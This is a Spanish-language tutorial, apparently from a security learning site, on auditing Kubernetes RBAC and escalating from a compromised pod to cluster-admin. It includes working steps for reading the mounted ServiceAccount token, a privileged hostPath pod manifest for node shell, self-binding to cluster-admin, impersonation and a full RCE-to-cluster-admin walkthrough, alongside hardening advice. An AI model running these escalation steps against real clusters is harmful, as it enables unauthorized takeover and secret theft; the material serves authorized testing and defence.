Aprende › Vulnerabilidades web

Kubernetes RBAC: cómo se audita y se escala desde un pod comprometido

· 10 min de lectura

El modelo RBAC de Kubernetes da permisos a ServiceAccounts mediante Roles y ClusterRoles. Aprende qué verbos son peligrosos, cómo enumerar desde un pod comprometido y las rutas clásicas de escalada hasta cluster-admin.

Un cluster Kubernetes típico corre decenas o cientos de pods, cada uno con un ServiceAccount que determina lo que ese pod puede hacer contra el API server. El modelo de permisos se llama RBAC (Role-Based Access Control): unos verbos (get, list, create, update, delete...) sobre unos recursos (pods, secrets, deployments, nodes...) dentro de un namespace o a nivel cluster. Simple en apariencia, brutalmente complejo en la práctica: una sola regla mal escrita convierte un pod normal en control total del cluster.

Cuando un pentester compromete una aplicación corriendo en un pod (RCE, SSRF, RCE por dependencia vulnerable), lo primero que hace es mirar las credenciales montadas en /var/run/secrets/kubernetes.io/serviceaccount/. Si el ServiceAccount asociado tiene cualquiera de las una docena de combinaciones peligrosas, pasa de «acceso a una aplicación» a cluster-admin en minutos. Esta lección cubre exactamente ese salto.

Esta es la cuarta lección del bloque cloud en /aprende, siguiendo la secuencia S3 → IAM → SSRF a metadata → Docker escape. Para entender los conceptos de contenedor y escape del host te conviene haber leído la anterior.

Prueba solo en clusters propios o laboratorios autorizados. Ejecutar enumeración o escalada en clusters ajenos sin permiso explícito es acceso no autorizado y delito.

RBAC en una imagen#

RBAC: ServiceAccount asignado al pod, token montado en /var/run/secrets, Role/ClusterRole concede verbos sobre recursos, RoleBinding/ClusterRoleBinding une SA con Role
RBAC: ServiceAccount asignado al pod, token montado en /var/run/secrets, Role/ClusterRole concede verbos sobre recursos, RoleBinding/ClusterRoleBinding une SA con Role

Cuatro objetos:

  • ServiceAccount (SA): identidad del pod. Por defecto se usa default del namespace.
  • Role / ClusterRole: conjunto de permisos (verbs + resources). Role es por namespace, ClusterRole es cluster-wide.
  • RoleBinding / ClusterRoleBinding: une un SA (o grupo) a un Role.

El token de SA se monta en /var/run/secrets/kubernetes.io/serviceaccount/token. El API server lo verifica y aplica las reglas correspondientes.

Enumeración desde un pod comprometido#

Cuando tienes RCE dentro de un pod:

# El token montado
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

# API server (siempre resolvible dentro del cluster)
API=https://kubernetes.default.svc

# Namespace actual
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

# Qué puedo hacer (self-review)
curl -k -H "Authorization: Bearer $TOKEN" \
  "$API/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" \
  -d '{"spec":{"resourceAttributes":{"verb":"*","resource":"*"}}}' \
  -X POST -H "Content-Type: application/json"

Más limpio con kubectl dentro del pod si está disponible:

kubectl auth can-i --list

Devuelve un listado de verbos y recursos permitidos. Ese listado es tu mapa de trabajo.

Permisos peligrosos#

Hay varios verbos/recursos cuyo permiso individual basta para escalar:

get o list secrets#

kubectl get secrets -A
kubectl get secret regcred -o json

Los secretos contienen passwords de bases, API keys, imágenes de container registries privados, tokens de otros SA. get secrets cluster-wide es básicamente cluster-admin: puedes usar el token del SA de kube-system que gestiona el cluster.

create pods#

Crear un pod con hostPID, hostNetwork, hostPath: / y comando chroot /host sh te da shell del nodo. En cuanto tienes shell del nodo, el kubelet corre con credenciales que te dan acceso a cualquier otro pod.

apiVersion: v1
kind: Pod
metadata:
  name: shell
spec:
  hostPID: true
  containers:
  - name: shell
    image: alpine
    securityContext:
      privileged: true
    command: ["chroot","/host","sh","-c","sleep 1d"]
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /

create + exec pods#

Aunque no puedas crear hostPath, con exec puedes entrar en pods existentes que sí tengan permisos interesantes.

impersonate#

kubectl --as=cluster-admin get pods

Si tu SA tiene el verbo impersonate sobre users/groups/serviceaccounts, actúas como quien quieras. Permiso devastador.

bind o escalate sobre ClusterRole#

  • bind te deja crear bindings a un Role existente.
  • escalate deja crear Roles con permisos superiores a los tuyos.

Con cualquiera de los dos, autobindeas o creas un Role admin y te lo adhieres.

patch nodes#

Con patch nodes puedes añadir taints o labels, pero también hay cadenas de escalada vía kubelet config.

create clusterrolebindings#

Directo. Creas un binding tuyo a cluster-admin.

kubectl create clusterrolebinding yo --clusterrole=cluster-admin \
  --serviceaccount=default:default

Rutas clásicas de escalada#

Caminos de escalada: get secrets → cluster-admin SA; create pods → node compromise; bind escalate → cluster-admin; exec pod kube-system → control plane
Caminos de escalada: get secrets → cluster-admin SA; create pods → node compromise; bind escalate → cluster-admin; exec pod kube-system → control plane

Las combinaciones que un pentester cloud revisa siempre:

PermisoCamino
get secrets cluster-wideLeer token de kube-controller-manager → cluster-admin
create podsPod con hostPID+privileged → root del node → kubelet → cluster
exec en pods de kube-systemEntras en kube-apiserver, etcd, etc.
create clusterrolebindingsAutobinding a cluster-admin
bind ClusterRoleBinding existente apuntado a ti
escalate ClusterRoleCreas ClusterRole con */* y te lo adhieres
patch / update ClusterRoleModificas uno existente añadiendo tus permisos
impersonate usersActúas como cluster-admin
create + delete validatingwebhookconfigurationBackdoor en el admission control
get tokenreviewsVerificar tokens → en algunas setups cadena de confianza rota

Herramientas#

  • kubectl-can-i: enumeración rápida de permisos.
  • rakkess: tabla cruzada de SA × recursos × verbos.
  • kubescape / kubeaudit: audits defensivos con CIS Benchmark.
  • kube-hunter: escaneo activo del cluster (usar con mucho cuidado).
  • Peirates: toolkit ofensivo específico de Kubernetes, con muchos exploits automatizados.
  • kdigger: inteligencia sobre el pod y el cluster desde dentro.

Flujo típico tras RCE:

# Enumeración automática
kubectl auth can-i --list 2>/dev/null
rakkess --sa=$NS:default 2>/dev/null

# O con Peirates
./peirates
> 1   # token info
> 2   # list pods
> 20  # exec in pod

Endurecer un cluster#

  • Pod Security Standards (Restricted): bloquea hostPath, hostPID, privileged, runAsRoot.
  • Network Policies: pods no pueden hablarse entre sí salvo política explícita.
  • Automount de SA token desactivado para pods que no lo necesitan (automountServiceAccountToken: false).
  • Bound SA tokens (proyected volumes con audience y expiración corta): un token comprometido caduca pronto.
  • RBAC mínimo: nunca * en verbs ni en resources; nunca ClusterRoleBinding salvo necesidad.
  • No secretos en Secret: KMS + external secrets operator; o sealed-secrets para GitOps.
  • Admission controllers: OPA/Gatekeeper, Kyverno. Validan cada create/update contra políticas.
  • Audit log habilitado y enviado a SIEM; alertas sobre verbos sensibles.
  • CIS Benchmark aplicado al cluster (kube-bench lo audita).

Walkthrough: de RCE en app a cluster-admin#

Para fijar el patrón, el flujo típico tras conseguir RCE en una aplicación web dentro de un pod:

Paso 1 — recoger el token de SA:

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

Paso 2 — descargar kubectl si no está:

curl -LO https://dl.k8s.io/release/v1.29.0/bin/linux/amd64/kubectl
chmod +x kubectl && mv kubectl /tmp/

Paso 3 — enumerar permisos:

/tmp/kubectl --token=$TOKEN --certificate-authority=$CA \
  --server=https://kubernetes.default.svc \
  auth can-i --list

Paso 4 — comprobar los permisos peligrosos del listado:

  • Si aparece get secrets cluster-wide: kubectl get secrets -A y buscar tokens de SA potentes.
  • Si aparece create pods: desplegar pod con hostPath y chroot.
  • Si aparece create clusterrolebindings: autobinding a cluster-admin.
  • Si no aparece ninguno: enumeras namespaces vecinos con get pods -A y buscas pods con imágenes vulnerables para pivotar lateralmente.

Paso 5 — demostración de impacto:

En pentests responsables basta con mostrar en la consola que accedes al default-token del namespace kube-system, o que puedes crear un ClusterRoleBinding. No se tocan recursos del cliente ni se deja nada desplegado.

Service Accounts de CI/CD como pivot#

Un subcaso interesante: los pipelines de GitOps (Argo CD, Flux) suelen tener ServiceAccounts con permisos amplios (crear deployments, actualizar configs, leer secretos) para hacer su trabajo. Si consigues ejecutar código en un pod que pertenece a esos pipelines, heredas sus permisos. Es una de las puertas traseras más comunes en clusters «hardened» por lo demás: el operator que despliega es más poderoso que cualquier otra cosa en el cluster y suele estar peor auditado.

Lo mismo pasa con operators de monitorización (Datadog, Dynatrace) que necesitan leer métricas de todos los pods: get pods cluster-wide es casi get logs cluster-wide, que filtra credenciales y datos sensibles. Todo operator con permisos cluster-wide es candidato prioritario en auditoría.

Errores comunes del defensor#

  • cluster-admin concedido al SA default del namespace por una guía de ejemplo.
  • Operators y Helm charts que piden más permisos de los que necesitan.
  • SA tokens de larga duración (los antiguos sin expiración).
  • NetworkPolicy ausente: una vez dentro, tráfico lateral libre.
  • Kubernetes Dashboard expuesto con SA privilegiada (incidente clásico de 2018 en Tesla).
  • RBAC concebido al desplegar y nunca revisado: se acumulan permisos huérfanos.

Preguntas frecuentes#

¿Tipo de ataques son más comunes en K8s en producción?#

  • Clusters dashboard expuestos (Weave Scope, Rancher, k8s dashboard viejo).
  • ETCd expuesto sin TLS (CVE-like en self-hosted mal configurado).
  • Kubelet 10250 autenticado con webhook permisivo.
  • Pods con hostPath: / por conveniencia.
  • Service accounts con cluster-admin por cómodo.

¿Google GKE, EKS, AKS cambian las reglas?#

Los managed clusters añaden integración con IAM cloud. En EKS, el ServiceAccount puede asumir roles AWS (IRSA): si consigues control de un SA, puedes escalar en AWS por el camino IAM de la lección anterior. Lo mismo con Workload Identity en GKE y AAD Pod Identity en AKS.

¿Un pod con automountServiceAccountToken: false está a salvo?#

Más, sí. No tiene token montado, no puede hablar con el API server salvo que configure explícitamente uno. Es una práctica recomendada para pods que no necesitan el API.

¿Admisión por webhooks puede fallar?#

Sí: si tu admission webhook requiere acceso a un servicio que cae, el cluster deja de aceptar create/update. Hay que diseñarlos con failurePolicy: Ignore para webhooks de reporte o Fail solo para los de seguridad crítica.

¿Dónde practico?#

El laboratorio database de whoami-labs incluye un escenario con un cluster Kind y un pod vulnerable. Replicas el flujo RCE → enumeración RBAC → escalada vía get secrets → cluster-admin, y luego ves la versión endurecida con PSS Restricted y NetworkPolicies.

¿Qué pasa con los ephemeral containers?#

Desde Kubernetes 1.25 los ephemeral containers permiten adjuntar un contenedor temporal a un pod existente para debugging. Si tu ServiceAccount tiene update ephemeralcontainers, puedes inyectar un contenedor con herramientas de red o shells en pods que no deberías tocar. Es un permiso que no está en las listas clásicas pero concede de facto una entrada enorme al cluster. Auditarlo explícitamente en cualquier policy review.

¿CronJobs y Jobs son una ruta de escalada?#

Sí. Con create jobs o create cronjobs puedes programar la ejecución de pods arbitrarios. Si el namespace donde los creas tiene permisos interesantes en su default SA, el Job hereda esos permisos. Es un patrón común: namespaces como platform-system o tooling suelen tener SA potentes y permitir Jobs, convirtiéndose en vía indirecta a cluster-admin para quien pueda crear Jobs allí.

¿Qué tan común es ver un cluster con RBAC permisivo en producción?#

Más de lo que cabría esperar. Estudios publicados en 2023-2024 (RSA Security Lab, Palo Alto Unit 42) reportan que más del 70 por ciento de los clusters auditados tienen al menos un SA con permisos excesivos, y más del 40 por ciento tienen pods con hostPath o hostNetwork no justificados. RBAC se concibe al desplegar y rara vez se endurece después; la deuda técnica se acumula con cada chart de Helm nuevo.

Resumen#

  • RBAC de Kubernetes se basa en verbs sobre resources, bindeados a ServiceAccounts.
  • Un pod comprometido empieza por leer su token y preguntar kubectl auth can-i --list.
  • Permisos peligrosos: get secrets, create pods, exec, impersonate, bind, escalate, create clusterrolebindings.
  • Herramientas: rakkess, kubescape, Peirates, kube-hunter.
  • Defensa: PSS Restricted, NetworkPolicy, automountSA token false, RBAC mínimo, OPA/Kyverno, audit log.

Esa realidad es la razón por la que las auditorías de clusters suelen rendir hallazgos críticos la primera vez que se hacen, y por la que el perfil de AppSec cloud-native está entre los mejor pagados del mercado hoy.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría